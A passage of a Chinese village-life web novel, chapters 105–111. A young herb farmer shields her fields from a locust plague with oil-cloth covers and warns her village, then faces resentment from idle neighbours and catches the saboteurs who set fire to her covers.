先用提前浸湿过的竹子扎进每块地的一边,然后弯折扎进另一边,这样就形成了一个半圆形的支撑。 两尺扎一根竹竿,一整块地扎完之后,用油布盖上,保险起见,边上再用石头压上,一个油布大棚就好了。 按说也不麻烦,要不是紧急,许芷自己慢慢做也不会累。 半下午的时候,听到了信儿的邓耧子和张家兄弟回来帮忙。 张家兄弟没有种地,所以主要是来帮许芷把盖大棚。 回来之前,三人还担心地里的药苗呢,这回来的时候,看到王茹娇的八亩地被油布严严实实的盖着,三人立刻明了。 赶到了张家的地时,许芷他们正在忙活第一块地。 其实王茹娇的地他们也刚弄完,跟他们也就前后脚。 祖母和孟雨兰都来干活,拽油布不好拽,许芷和祖母她们三个就不停地扎竹竿,还要找石头。 看到他们过来,邓老太吆喝道:“快来干活。” 三人撸起袖子,也投入到了油布大棚的建设中。 不过两天,所有的药田,包括山坳那两亩都严丝合缝的盖上了。 许芷给那些工人结了工钱,回到家孟雨兰看到她,轻松地说:“小妹,你可真有想法,这下就不怕了。” 可许芷脸上的神色没那么轻松,她回道:“算是吧,只是若是蝗虫真的来,还是要用火加一层保险。” 尽管她用油布盖的严丝合缝,可是她也不知道蝗虫会不会把油布啃烂。 听说蝗虫喜欢光亮的地方,若是蝗虫晚上来,烧一把火在空地上,把虫子都吸引过来烧死最好。 可若是白天,这法子就不太奏效了。 她还是希望能更保险一点,最好是有十全的把握。 看着她还是忧愁的样子,孟雨兰不解的问她缘由。 她将想法说出之后,忧愁的自问:“若是白天该如何啊?” 孟雨兰听了却想到了办法:“小妹,既然他们怕火,那肯定也怕烟雾吧,若是白天咱们就点了湿木头在地边,让烟雾把地遮住,我就不信这蝗虫眼那么尖,还能受得了那呛鼻子的烟。” 许芷一听,看向孟雨兰,心想这是个好办法。 “谢谢你玉兰姐,这是个办法。” 孟雨兰闻言笑道:“嗨呀,谢什么,咱们都是一家人。” 第106章 蝗虫来袭 从许芷说了有蝗灾开始,已经三日了。 刚开始大家的抢收激情甚是高涨,可在刘菜根等人的冷嘲热讽下,第二日已经有人摆烂,第三日忙着抢收的只剩了一半。 大家还是心存侥幸觉得不会有蝗灾。 然而就在第三天傍晚,许芷看着黑云压顶的一幕,心中涌现出浓重的不安。 她跟舅舅和张家兄弟说好。 王茹娇家的地她去守着,张家的地和王三婶家的地虽然挨在一起但是多,让舅舅和张家兄弟守着。 提前弄一大堆柴火撒了酒在地边上等着,若是真的有蝗虫,要尽快点燃。 听到她的担心,邓耧子说:“你在家等着,我们哥仨去就行。” 许芷还想说什么,但是祖母和孟雨兰也跟着劝。 “你一个女子,啥都亲力亲为的干了,要这些男人干啥?” “就是啊,小妹,真要是来了蝗虫,多吓人啊,你还是在家里待着吧。” 祖母最后说:“你要是去,我后脚跟着一块去。” 听到祖母这样说,许芷才放弃了想法。 但她拿出了早就准备好的油布衣服,还有带面纱的斗笠。 “这你们都穿上,别让那蝗虫咬了去。” 三人拿了衣服就出去了。 许芷又去了里正家一趟,让里正去提醒那些没收完麦子的,今晚极其有可能蝗虫会来,去地边烧一团火能减少些损害。 “你这丫头心还是善啊,这些天村里说的那些风凉话我都听不下,可你竟然还想着要我去提醒他们。” 里正自叹不如。 听到里正的话,许芷没有倨傲,也没自谦,只是让里正快去提醒大家。 做完这一切,许芷就回了家。 晚上,许芷躺在床上总觉得心绪不宁,熬着等着就怕蝗虫来。 等到她熬不住昏昏沉沉要睡觉的时候,却听到了外面一阵“阔阔阔”的声音传来。 许芷猛然睁开双眼,掀开被子鞋都来不及穿,趿拉着走到窗前,开了条小缝,望向天空。 看到天空中黑压压一片都是蝗虫,见她打开了窗户,竟有几个想往房间里钻,她赶紧关了窗。 心有余悸的检查了一下其他的窗户,又推开门,检查了下堂屋的门窗。 小心地推开祖母屋子的门,看到窗户都好好的,她才放下心躺下睡觉。 孟雨兰已经搬去了窑洞,那才是密不透风的地方,根本不需要去检查。 第二日,刚睁开眼,她立刻穿衣服起床,要出去看看地里的情况。 刚出门就看到了打着哈欠的舅舅,关心的问:“舅舅,怎么样?” 邓耧子连打了三个哈欠,擦掉眼角的泪花,囫囵的说:“没事儿,你那油布厉害得很,蝗虫根本进不去。” “那你们点火了吗?” 许芷寻思着,要是点了火,能烧死一部分蝗虫,对于其他的百姓来说,损失的麦子就少些。 邓耧子拿起茶杯刚要倒水,许芷很有眼力见的拿起茶壶已经倒上了。 他喝了一大口水,继续说道:“点倒是点了,就是昨晚有风,那么多蝗虫过境带的风更大,差点把咱的油布都烧着,我们一看情况不对赶紧灭了火,反正药苗有油布保护着呢,不用担心。” 闻言,许芷微不可查的叹了口气,反正她该提醒的都提醒到位了,能做得也都做了。 看着舅舅困的直打哈欠,她将厨房下面那间屋子收拾了一下,让舅舅赶紧去休息。 邓耧子早就困不行了,嗯了声回那屋倒头就睡。 许芷走出家门,看到门前的柿子树已经秃了,地里刚发芽的菜也都荡然无存。 连那一地的绣球花都没有幸免。 她想去地里看看情况,刚走出山坳就听到了村子里有人哭喊。 听着那痛心的哭声,许芷并不觉得可怜,毕竟她都提醒过了。 是他们自己懒、不愿意相信,谁也没办法。 去地里的路上,她碰到了里正。 里正见她很是高兴,握住她的手连声感谢。 “哎呀,许丫头啊,这次多亏了你的提醒,也多亏了你的坚持,要不然呐,这大半夜来蝗虫还真让人无从防备,如今这好了,大家的麦子都收了,基本没受影响。” 他这么说其实是撇开了那些说风凉话和最近一直嘲讽的人。 他昨天还特意去地里看了,跟刘菜根关系好的那几家一根麦子都没收。 还有些懒的、怕麻烦的,就第一天收了一部分。 他挨家挨户的提醒晚上可能有蝗虫,让他们去地里守着,真有就放火。 他们听没听进去他不知道,可他作为里正该做的都做了,要是都到了这份上,他们还固执己见,那只能说活该。 同时他越发觉得许芷这丫头有远见,还善良。 不仅考虑到了蝗虫的事情,还多次提醒他去提醒村里人。 丝毫不在乎村里人说话难听,只做自己应该做的,实为君子! 两人一起到了地里,许芷先着急的去看了看药田。 油布好好的搭着,没受一点影响。 虽然已经听舅舅说了没事,可是自己亲眼见过心才算彻底放下。 确定了药田没一点事,她才有心力看了看其他的地。 凡是收割过的地,倒是没什么。 只是那些没收割的,似乎还能看到蝗虫啃咬的痕迹。 望着那被吃的粮食,许芷只觉得可惜极了。 谁知盘中餐,粒粒皆辛苦啊。 她摇摇头准备回家,却迎面撞上了来地里的刘菜根。 刘菜根没了往日嘲讽的模样,她跑到地头一看,心灰意冷的跪在地头,不敢相信自己家十几亩地,竟一粒麦子都没留下。 她嚎啕大哭,哭自己这一年的付出,哭自己怎么就这么命苦,哭自己怎么就没有跟着大家抢收。 今年的人头税该怎么办啊,地里啥都没了,一点没留下。 她懊悔、痛苦、难过,却在转身看着许芷地里的油布没有受一点影响的时候,眼神里的所有的情绪都转变成了怨毒。 望着许芷离开的背影,她表情阴狠。 这边许芷从地里回来,要穿过村子才能到山坳,村民看到她头一次热情的吓人。 “许丫头,你就是我们大家伙的恩人啊,要不是你让里正提醒我们有蝗虫,赶紧抢收,只怕现在我们的粮食都没了。” “是啊,许丫头,你这丫头一看就有福气。” “我就说许丫头这孩子随她娘梅子,都是心善的主儿。” “不止呢,这丫头有能力有远见,以后你说啥我听啥。” 第107章 风言风语 面对大家的热情,许芷有些无所适从,她讪讪的笑着,也不知该说些什么。 只是这和气一片的氛围中,冒出了一句不和谐的声音。 “还有福气?我看是晦气。” 大家都看去,是陈小圆,刘菜根的儿媳妇。 听到她这话,大家不仅不恼,反而笑的意味深长。 有人揶揄她:“福气也得是勤快的人才能接住啊,那懒蛋一样的人物,就是天上掉银子不去接怨谁呢?” “哎,别这么说,小圆家里没收一根麦子,全都进了蝗虫的肚子,这么可怜,嘴上抱怨几句不是应该的,哪跟我们啊,麦子全收了,一粒都没让蝗虫占到便宜,当然不懂人家的痛了。” 这话说的通情达理,实则是暗讽陈小圆一家。 大家都心照不宣的哈哈大笑。 谁让前几日,这婆媳俩没事干坐在槐树下。 专等着大家从地里回来嘲讽,今日可算是报了仇了。 “你们!” 陈小圆自然能听的出这话里的嘲讽,她看着人多自己也不占优势,一生气一跺脚就回了家。 走之前还怨恨的看了一眼许芷。 看的许芷莫名巧妙,自己可是提醒了全村人,她自己不相信怨谁? 不说自己懒,光说别人错,世上哪有这样的道理。 陈小圆回家的路上气的还崴了脚,蹲在地上脚痛的起不来的时候,只觉得自己怎么这么倒霉。 谁能想到那丫头胡说八道的竟然成了真,早知道她就算是跟婆母对着干也要冲进地里抢收。 这下好了,她全家成了村里的笑话,前几日有多得意,今天就有多羞愧。 回到了家,看到自己那窝囊丈夫,一肚子气全撒在了丈夫身上。 正当她骂的起劲儿,刘菜根回来了。 正好看到她对自己儿子出言不逊,刘菜根大怒,抓起门后的扫把就打在了儿媳身上。 “你个贱女人,敢这么对我儿子,反了天了你还?” 平日里因为婆婆强势,陈小圆从来没反抗过,可是如今饭都要吃不起了,她还忍什么? “我就是反了天了,跟着你这么个好婆婆,地里颗粒无收,今年吃什么喝什么?” “你!你信不信我让我儿子休了你!” 刘菜根能想出最狠的话就这个,妇道人家被休那可是奇耻大辱。 可今日备受屈辱的陈小圆听到不怒反笑:“行啊,你赶紧让你儿子休了我,我立马找个有粮的下家,你们母子俩就饿死吧。” 刘菜根被气得一阵头晕脑旋,不敢相信平日里任自己搓圆揉扁的儿媳妇竟然敢这样说话。 但是她心里也清楚,儿媳妇说的话不可不防,还是得哄着。 不哄着怎么骗她去借娘家的粮交人头税。 想到这,刘菜根放下了扫把。 这几日,许芷家热闹非凡,每日都有人登门道谢。 村里人不是拿点自己腌的咸菜,就是拿点自己窖的红薯。 到了许芷家,无一不是对许芷大夸特夸。 毕竟粮食就是大家的命,多亏了许芷才能保住大家的命。 刚开始邓老太笑的惊喜,面对大家对外孙女的夸奖还谦虚些。 到后面应酬多了,笑容跟焊在了脸上一样不真实,对大家的夸赞都是照单全收。 这里面也不乏一些抢收了一半的,刚开始邓老太觉得还不好意思,可是人家想得开。 觉得要不是许芷他们连一半都没保住,没的那一半是他们自己懒的后果。 既然享受到了许芷提醒的好处,理应来道谢。 听到这样说,邓老太满意的直点头,看向自己的孙女的眼神好像在看个金疙瘩。 不过村子里也出现了些风言风语。 竟然说许芷是个丧门星、乌鸦嘴,说本来没有蝗虫,都是许芷说才招来的。 面对这种无稽之谈,大家都清楚那是那些没收粮食都便宜了蝗虫的人家,眼红大家都收了,故意找茬这么说的。 故而几乎没人将这种恼羞成怒之下的诋毁之言当一回事。 可偏偏有的人傻,还真信了这种话。 这一日,邓老太正在家里收拾被褥,打算拆了洗洗。 却听到门前有吵闹声,她走出去看到刘菜根婆媳俩,还带着几个村子里的刻薄之妇,站在他们门前,大言不惭的让许芷赔她们粮食。 “赔什么赔?你们要不要脸?” 邓老太不耐烦地说道:“赶紧滚出去,你们在这脏了我的门楣。” “我呸!”刘菜根一听一口痰吐到了门上:“我们还没嫌你家晦气呢,还嫌我们脏了门楣。 就你这坑死人不偿命的门楣,你以为我们想来?” “就是,要不是你孙女让我们没了粮食,你以为我们愿意来。” 邓老太被气笑了:“你们自己懒的还没蛄蛹的蛆勤快,还好意思怪上别人了,怎么别人家的粮食都保住了? 没屎别硬屙,往我们头上乱扣什么。” 陈小圆指着邓老太的鼻子,异常不恭敬的说道: “邓老太,都是你这孙女的错,要不是她天天喊着有蝗灾,那蝗虫能来吗?” “就是,她就是个乌鸦嘴、丧门星,真是晦气死我们了,让她赶紧赔我们钱,要不然我们要她好看!” 面对这无耻发言,邓老太气的发蒙,但也知道这些人,思想就是歪的,你跟他们掰扯就是浪费口舌。 故而她转身想要回家,不打算理会她们。 可她们还不依不饶,甚至拿出了烂菜叶要往邓老太身上砸。 正好被下了山的许芷和孟雨兰见到了,两个人赶紧跑到祖母的面前挡着。 “你们要干什么!” 许芷冷眼看着面前的几人。 几人看到许芷来了,更加放肆的往许芷身上破脏水,什么难听话都有。 孟雨兰听到,生气的转身进屋。 再出来手里拿着一个壶,看着一个个狰狞的嘴脸,丝毫不犹豫的全挥洒在她们的身上。 刘菜根不可置信的闻着身上骚轰的味道,颤抖着手指向孟雨兰:“你!你个死丫头,你往我身上泼的什么!” 孟雨兰眼神里满是戏谑,故意一字一句的说道:“既然你问了,那我就大发慈悲的告诉你,那是尿,本姑娘攒了好几天打算浇地的尿,便宜你了。” 说完,她拉着许芷和祖母直接回了家,大门一栓,任由那几个人在外面骂破天都不开门。 第108章 油布被烧 “对付这种泼皮无赖,你就得比她还无赖才行,要不然能把自己气的半死。” 孟雨兰放下了手中的尿壶,边洗手边说道。 她胆小夜里不敢来院子里上厕所,就弄了个夜壶,今日忘了倒,竟有这种妙用。 她心里想,所有的事情都是老天安排好的,看来上天早就知道今日会有这些个泼妇来,故意让自己忘了,才能泼她们一身。 邓老太赞同的看着她,“就是,雨兰做得好,就该好好洗洗那些人的臭嘴。” 经此一事,村子里对许芷的微词竟销声匿迹了。 孟雨兰和邓老太高兴的认为,这是反击有效。 但许芷不这么觉得,她有一种这些人静悄悄憋着劲儿作妖的想法。 当夜,又下起了小雨,淅淅沥沥的寒意,透过窗棂的缝隙钻进了许芷的房间。 许芷皱眉醒来,她起身拿出梳妆台小匣子里的棉花塞进耳朵,走到窗边打算关上窗户。 却发现自己的窗户边放着一油纸包。 几乎是瞬间她就猜到了这是谁放的,可她不喜欢这种对方悄无声息渗透到自己身边的感觉。 要送便大大方方的送,是接受是拒绝都是他应当承受的果。 如今直接放在这里,自己接受拒绝他都送出去了,他心里倒是好受了。 从前也不见他如此,如今如此小心倒是不像他。 可又想到自己那日的话,叹了口气,如此小心恐怕也怨自己。 许芷从没想过,一个人的情绪可是复杂到如此地步,一边怪自己一边怪他。 她伸手将那油纸包拿过,先拿起绳子下面压着的布条。 因为下雨,布条上的字迹已经有些晕开了。 不过依旧能看出写了什么。 【春入河边草,花开水上槎。】 是欧阳修的诗。 许芷轻声呢喃着这两句,心中不自觉静了下来,她喜欢欧阳修的诗。 心情平和不少,她打开了油纸包,却在看到了油纸包里的东西脸色倏然冷却。 下一瞬,她直接将东西丢掉,脸色白的厉害。 若是细看,能发觉她浑身微微颤抖着。 许芷喘着粗气,眼神又恢复了那疏离的样子,拿出了抽屉里的火折子,吹着直接将字条烧掉。 看着面前缓缓燃烧的字条,那瞬间的光亮和温暖映在她发白的脸上,她的心绪逐渐调整下来。 躺下后,眼神虚焦的看着房顶,竟再也没睡着。 第二日,许芷刚起床,王茹娇急匆匆到过来,喘着气断断续续说道: “小、小芷,油布、油布被人——” 话未说完,许芷已经冲了出去。 孟雨兰感知到事情不对,跟祖母说让她先吃着,她跟上去看看。 于是她跟王茹娇二人也紧赶着往地里去。 许芷到了时候,看到王茹娇那八亩地的油布,几乎烧了一半。 剩下的一半上面都是雨水的痕迹,应该是下了雨所以没烧完。 地里烧掉的黢黑的痕迹还在,若不是有这场雨,地里的药苗恐怕也被这场火给毁了。 尽管如此,可还是有一部分的药苗烫坏了。 许芷挽了袖子,下了地,把那些坏了的药苗挑出来扔掉。 后面跟着过来的孟雨兰和王茹娇看到,也下了地,帮忙处理坏了的药苗。 处理完又去了张家和王三婶的地,这边的油布倒是好好的。 王茹娇不忿气道:“到底是那路山的猴子?做出这种龌龊肮脏之事。” 一边愤愤不平的孟雨兰,第一时间就想到了前一段才在她们面前吃了亏的刘菜根。 她试探的开口:“会不会是上次被我泼了尿的那几个?” 毕竟许芷从不主动与谁交往,平日里除了跟他们几个有交集,她只会上山下地。 除了刘菜根几个人,还真想不到有任何人来针对许芷。 王茹娇一听就知道说的是刘菜根几人,上次的事情发生后,她去许芷家听孟雨兰的专转述,只觉得解气。 “肯定是她们几个,就她们天天在村子里诋毁小芷,明明是她们自己作孽,才会颗粒无收,怪在小芷身上已经是离谱,如今还赶来破坏药田!” 说着她转身就要去找她们算账。 “娇娇,”许芷赶紧把人叫住:“如今没有证据,贸然前去被她倒打一耙岂不是成了咱们的错。” “可是除了她们还有谁?” 王茹娇气愤不已。 许芷:“那你可曾有证据、证人?是否亲眼所见?” 她越问王茹娇的头就越低,嗫嚅着嘴唇不愿意道:“那就这么放过他们?” 许芷长长的吐出一口气,面无表情的看着远方,轻轻道:“先这样吧。 不管是不是他们,这样都是为了发泄自己没及时收粮的怒火,发泄过就没事了。” “万一你不计较,他们觉得你好欺负,变本加厉呢?” 孟雨兰颇不赞同的问道。 闻言,王茹娇也连连点头,“他们要是那种见好就收的,就不会一而再再而三的说你坏话了。” 许芷无奈看向她们二人,把刚刚问王茹娇的话再问一遍。 两人面面相觑,回答不出许芷的话。 最后还是孟雨兰说:“既然你说算了就算了吧,日后莫后悔就行。” 孟雨兰心想恩人似乎善良的过了头,她好心让别人发泄。 可歪心思不制止只会变本加厉,疯长的对付她。 但恩人这幅听不进去的样子,让她也没办法,只能尊重许芷的决定。 王茹娇噘着嘴不明白许芷平时都是一副未雨绸缪的样子,今日怎么说揭过就揭过了。 这份疑惑一直延续到了她回了家都没想明白。 同样村子里的人也都听说了许芷的药田被破坏的事,纷纷心照不宣的想到是谁。 都等着吵起来呢。 结果许芷好像没发生这件事一样,一没闹二不问,弄得大家都摸不着头脑。 不过许芷不问,不代表村里其他人能忍住。 向来跟刘菜根不对付的孟家媳妇儿,在大槐树下跟别人正聊天,看到刘菜根走过。 她瞥一眼,故意大声揶揄道:“刘婶子,你这玩火不怕尿床啊?” 刘菜根听到望向她的眼睛只能看到眼白,看不到一丝黑。 “胡说八道什么呢 第109章 夜半风波 孟家媳妇儿张春英轻蔑一笑,“装什么呢,刘菜根,我们都感激许丫头,要不是她我们的麦子都没了,就你天天在村里说许丫头坏话,不是你放火烧的能是谁?” 刘菜根跟被拽了尾巴毛的斗鸡一样,跳着脚的尖声问:“我说坏话那是我嘴贱,嘴贱就一定手贱吗?放火的就一定是我吗?你看到了吗?” 张春英被她这几声质问给问住了,一时之间说不出别的话,硬撑着说道: “反正咱们村除了你没别人。” 她们两人争执的时候,王茹娇就在不远处,听到了所有。 心想当初要不是许芷拦着自己,自己估计也这样没头没脑的冲上去质问,然后也会被刘菜根问的说不出话。 许芷的话确实有道理,她没有证据,也没看到,光说私仇那不算。 说不准自己当时被问住之后,刘菜根还倒打一耙说自己污蔑她,真要是被她缠上,还要连累家里人。 她这才后知后觉许芷的用意。 可是她也觉得孟雨兰说的没问题。 万一刘菜根他们看到了许芷软弱可欺,变本加厉怎么办? 她想着想着,苦恼的双手捧着头,不知道该怎么办。 偏偏许芷真的好似没发生过一般,真就把这件事揭过去了。 接下来的几天,许芷带着他们又把油布收了起来。 既然现在没有蝗灾,药苗的生长也需要太阳和雨水,油布闷着反而会把药苗闷坏了,撤了最好。 因为王三婶和王三叔夫妇俩正忙着给其他的地里种红薯,张家兄弟也忙着在外面做工。 所以收油布这件事,就落在了许芷和王茹娇的身上。 本也不是什么难事,就把油布收了,竹竿拔出来就行。 许芷、孟雨兰和王茹娇三人干就行。 三个人分工明确,三个人一起搬压着的石头,搬完之后两个人拉油布,一人拉一头往另一边的地头折。 剩下那个人就在后面拔竹竿。 这边的油布折好了,再一起拔剩下的竹竿。 就这样三人一下午弄完了王茹娇这边的地,看着太阳快落了山。 许芷打算今天就这样,反正这活也不是什么急活,慢慢干别累到。 几人晚上吃着饭,邓耧子突然问许芷:“继续?” 许芷没什么表情的嗯了声,邓耧子闻言没多问,只是点了点头。 这让孟雨兰和王茹娇好奇得很。 纷纷看向他们二人,问道:“什么继续?” 邓耧子将最后一口包子塞到嘴里,没回答她们二人的问题,站起来就走了。 看到他走了,两人将目光齐齐投射到许芷的身上,追问道:“什么继续啊,小芷?” “是啊,小妹,你跟大哥在密谋什么呢?” 看着她们两人好奇的样子,许芷也喝完了最后一口粥,云淡风轻的吐露两个字。 “秘密。” 这可把俩人的好奇心吊到了最顶点,看着许芷也走了。 两个人只能把希望寄托在邓老太身上。 “婶子?” “奶奶?” 邓老太慈祥的笑着,“我啥也不知道。” 两人最后的希望都破灭了,抓耳挠腮也没办法。 今夜注定是个不眠夜,不仅是对孟雨兰和王茹娇来说。 夜半三更,寂静的下坪村突然起了吵闹声,众人在睡梦中惊醒不知道发生了什么,只能听到这吵闹声是从地头传来的。 离得近的几家已经打开门看看是怎么回事儿了。 一开门就看到了邓耧子和张家兄弟俩跟几个不认识的,捆着几个人从那边过来,要往里正家去。 定睛一看,看到里面有许芷的生父许富年和自己村里的张四平,还有三个不认识的。 “耧子啊,这是咋回事啊?” 刚走出门的村里长辈问道。 邓耧子大声解释道:“这几个人妄图破坏药田,被我们给逮了个正着,现在要扭送到里正家,让里正帮忙做主。” 听到这话,许富年的反应最是激烈,他使劲儿挣扎着,想要把嘴里塞的布吐出来说什么。 可是押着他的人根本不给他机会,直接照着他的后脑勺狠狠拍了一下。 “老实点。” 他的表情无比屈辱,却也只能照做。 邓耧子哼笑着看他一眼,转头对长辈说道:“不说了叔,我这还要押人呢。” 长辈冲他摆摆手,让他赶紧去。 他大摇大摆的带着这几个人去了里正家。 而里正这边早就有人通风报信,他刚穿上衣服打开门邓耧子他们就到了门口。 他看着面前几个捆绑的人,不敢置信里面竟然有自己的侄子张四平。 里正不解又生气的走到他面前,拽掉他嘴里塞的布,质问他:“你这是为什么?” 前几日许芷地里的油布被烧的事情他知道,他也以为是刘菜根他们。 毕竟刘菜根地里的麦子一颗都没收到,她这人也惯是个会惹事儿的。 可他怎么都没想到竟然跟自己的侄子有关,侄子家的地可是全都收了,怎么还能做得出这种事。 张四平心虚的躲开了三叔的质问的眼神,嗫嚅着嘴唇半天不说话。 这样子看的里正肚子里的火越发的大,用力捏着他的肩膀问道:“你说话啊,一个大男人,一声不吭算怎么回事?” 见他还是不说话,邓耧子走上前先打断了他们。 “叔,事情让我给你讲吧。” 上次地里的油布被烧之后,许芷表面上好像放过了,实际上私下里,拜托舅舅找了人在地里蹲守着。 连着蹲守好几日,终于在今天蹲到了意图不轨之人。 那些人来的时候没有看到邓耧子他们,还在不断地说着许芷的坏话。 所以邓耧子听到了几句。 “里正,你这好侄子,不感激我外甥女没让他损失一粒麦子,竟然埋怨我们家小芷有法子不用跳稀泥地收麦子,不帮你们买油布盖着,让你们脏着出了几天的丑,被刘菜根婶子狠狠的嘲讽了几天。” 这话说出口在场的人看向张四平的眼神立刻变得微妙,而里正的脸色好像被人打了一般难看。 邓耧子权当没看见,继续说道:“我们家弄油布那是我们种的东西特殊,还没到收的时候,要能收我们还花这钱干啥,油布的价钱有多贵你们又不是不知道,真说了你们愿意买吗? 再说了,你们跳了稀泥地,感情我们是地干了才铺的油布?那不是跟你们一样泥地里铺的,谁比谁干净多少。 你就是自己懒,还怨到了我们头上。” 说完邓耧子更气,一拳砸到了张四平的脸上。 第110章 越俎代庖 里正看到下意识的想拦一下,可还是克制住了。 自己这个侄子简直是无法无天了,竟然因为这个就要去破坏许芷的药田,这不是恩将仇报吗? 张四平早就没了去破坏药田的嚣张样,就算被打在亲叔面前也是垂着头不敢抬起。 邓耧子呸的一声唾弃他,再看向里正说道:“叔,您是我们的里正,管着整个村,这事儿可得好好给我们个交代。 小芷的亲爹我们都大义灭亲,任你处置。” 这话明着是说许富年,实际上说的是张四平。 相比其他村的里正,下坪村的里正在邓耧子心里已经是很公正的人了。 但是里正这人也重感情重家族,不管里正有没有想高高举起,轻轻放下,他都要表明了态度,这样才能让他们知道自己家不是好欺负的。 里正听了这话,脑门上冒出了冷汗,虚擦了两下,他郑重道:“放心吧邓家的,你叔我别的本事没有,唯一能做的就是公正不徇私。” 闻言,邓耧子颇有侠义意味的拱手道, “有您这句话就够了。” 里正叹了口气,心中怒骂张四平不争气,可又有什么办法呢? 他打算动用村规,蓄意破坏粮食者十倍惩罚,并打十戒鞭。 让他这个侄子好好长长记性,疼一场比什么言语教训都来的要实在。 等他说完,邓耧子觉得也没问题。 让这些歪心思的尝一尝皮肉之苦,看以后谁还敢这样。 许富年没想到自己也要被打,他可不愿意啊,他又不是下坪村的人,凭什么用下坪村的村规惩治自己。 可他的嘴被堵着,只能发出嗯嗯啊啊的声音,没有一个人搭理他。 抓着他的那人力气又大,自己动弹不得。 里正看邓耧子同意了,于是说道: “既然如此,那就——” “里正,且慢。” 里正正要把这件事敲定下来,就听到了清澈的女声。 众人回头,只见许芷从人群中走出来。 许芷扫了一眼抓到的人,最后目光落在了里正这里,她先给里正打过招呼。 继而道:“里正,我见这人里面有不是咱们村的,统一用咱们村的规矩恐怕不妥。” 此话一出,许富年在后面猛猛点头,刚刚看到女儿看自己,他眼都要眨抽筋了,她都没停留一下。 他还以为这个女儿还跟从前那样不认自己,没想到说的第一句话就是为他。 邓耧子和里正听到这话也齐齐望向她,心想刚刚才说了大公无私,这许芷就要出来保亲爹,这不是打自己的脸吗? 其他的人也以为许芷说这话是为了自己亲爹,张四平脸上都有了要逃过去的喜色。 邓耧子有些尴尬的轻咳一声,低声道:“小芷,我刚说了咱要大义灭亲,你说这话不是打舅舅的脸吗?” “没有啊。”许芷疑惑的看向舅舅,“我何时说不大义灭亲了?” 这话倒是给邓耧子整迷糊了。 “那你刚刚的话是啥意思啊?” “我的意思是,既然都不是一个村子的人犯了错,里正若是拿村规惩罚,难免落人口实,让人家说我们下坪村的越俎代庖,不如一起扭送官府,让县太爷评判,自然无人敢说什么。” 许芷这话掷地有声,在场的每个人都听到了。 本来那些人听到村规惩罚的时候,打的就是不是一个村的主意,只要他们闹着,拖到村里来人,就不能把他们怎么样。 可是许芷这话把他们的小心思直接按死在那。 只要进了府衙,不管最后县太爷怎么判,那一顿板子是少不了的,这可比村里的戒鞭要厉害的多了。 被抓的几人脸色纷纷都白了。 尤其是许富年和张四平。 而邓耧子一听自己外甥女想的更全,嘿嘿一笑,“就知道我外甥女不是这种人。” 里正也有些为难,他倒不是偏袒谁,单纯觉得这事闹出去不好听。 可是许芷说的理由完全是为他考虑,若是他今天真的惩罚了这些人,转脸那些村的真计较起来,那他也确实没法说啊。 许芷自然是知道里正在乎名声,谁都不希望从自己的村子传出坏名声。 可今日不是只有下坪村的人故意跟她作对,别的村子的人也有,若是这件事不严肃处置,将来还会有人来挑衅自己。 索性直接严厉处罚,让所有村子的人都看看,她可不是个好欺负的。 看着里正犹豫不决的样子,许芷冷了些语气,说道: “里正,若是您买了个绣花枕头,外面好看,里面装的却是石头。 您是选择剪开那徒有虚表的绣面,为自己换个舒服的枕头,还是就为了那好看的绣面,硌的自己夜夜不能寐呢?” 这话说的清楚,里正脸色讪讪,缓慢开口道:“那当然是图舒服不能图好看。” 毕竟好看只是一时的,久了也就那样,舒服是长久的,而且谁舒服谁知道。 这事儿也一样,就算传出去一时,也就坏一时的名声,时间久了谁还记得这些啊。 可要是这件事不处理好,那外村的都会觉得下坪村是个好欺负的,万一都骑他们身上作威作福怎么办? 所以他点了点头,肯定许芷的话:“许丫头说的不错,我只是下坪村的里正,自然不能越俎代庖管了其他村的人,既然几个村的都有,自然应该让县太爷做主,这样才公平。” 听到这话,在场的都夸里正公正严明。 而那几个被抓的都白了脸色,尤其是张四平和许富年,脸色更是难看。 许富年自知躲不过,整个人脱了力,一松劲儿口中塞的布竟然就掉了下来。 之前怎么挣扎都不掉,如今不挣扎反倒掉了。 他苦笑一声,看着地上的布团,抬头看着许芷,心酸的问:“你就如此憎恨你的亲生父亲吗?” 闻言,许芷抬眼看向他,眼神冷漠的好似陌生人。 “憎恨?” 许芷轻笑出声,原来的许芷对他是什么样的感情,她不知道。 可是对她来说,许富年就是个陌生人,何来憎恨一说。 她垂眸想了想,再看向他,语气平淡却又给了他会心一击。 第111章 扭送官府 “我并不憎恨你,与我而言,你跟我第一次见到的陌生人并无两样,如今这样不过是你犯了错惹了我而已,换成任何人我也是一样的处理。” 这话好像一记闷锤,狠狠的砸到了许富年的心底。 他总是觉得就算是许芷他没养,丢到了邓家,可那毕竟是自己的亲生女儿。 打断骨头还连着筋,现在不亲是因为还小不懂事,成了亲就该知道家里人是多么的重要了。 可今天许芷这一番话,还不如说她恨自己,恨自己把她丢到了邓家,恨自己不管她,恨自己没有尽到一个父亲的责任。 偏偏是不恨! 是不恨!! 人与人之间最深的最能拿捏人的,就是情感上的纠葛,若是没有,就算是血缘至亲也与陌生人无异。 所以,许富年不愿意相信,更不愿意承认,他跟女儿之间没有一丝一毫的感情。 他激烈的否认着许芷的话:“你个不孝女,我就知道你恨我故意如此,我是你的亲爹,我来看看你的药田怎么了?” 听到这样油盐不进的话,许芷微不可查的叹了口气,她不愿意多费口舌。 转而对里正说:“既然里正没有意见,那就如此,晚辈就先回去了。” 说完拜托舅舅邓耧子辛苦一下,在里正家里看好这些人,明日一早就送进官府。 同时她感谢张家兄弟和舅舅请来帮忙的叔叔伯伯。 “十分感谢大家近日对我的帮助,辛苦了,等到将这些人送进官府之后,我这边会按照一日一钱的价格给大家辛苦费。” 此话一出口,邓耧子那些一起做工的兄弟都兴高采烈,本以为帮忙能落一顿不错的酒菜就行,没想到竟然给钱。 高兴之余,几人互相看了眼,觉得这给的也太多了。 他们一共忙活了七八日,算下来可是快一两银了。 总共五六个人,得花四五两这可不是个小数目。 顶得上有的人家一年的银钱,他们可不能要。 何况平日里邓耧子对他们都不错,谁让帮忙绝不含糊,出钱出力一点不推辞。 晚上就在田间守着而已,也没干啥,就当是兄弟们彻夜喝酒聊天了。 其中一人主动开口道:“不了不了,小丫头,我们是看在你舅的面子上来帮忙的,不图什么,若是想要感谢改日让你舅舅请我们喝一顿就行。” “是啊,这守个夜而已,能是什么费劲儿的事儿,小事一桩。” 此话一出,剩下的几人都附和着。 本以为这样说许芷就应下来,但没想到许芷摇头道: “既然你们是为着我舅舅帮我的忙,消耗的是我舅舅的人情,我这个需要帮忙的就该把我舅舅这情分补上。 何况守夜并不是易事,一夜未眠的难受滋味我试过,你们连着好几日睡不好,只怕会头疼眼昏。” 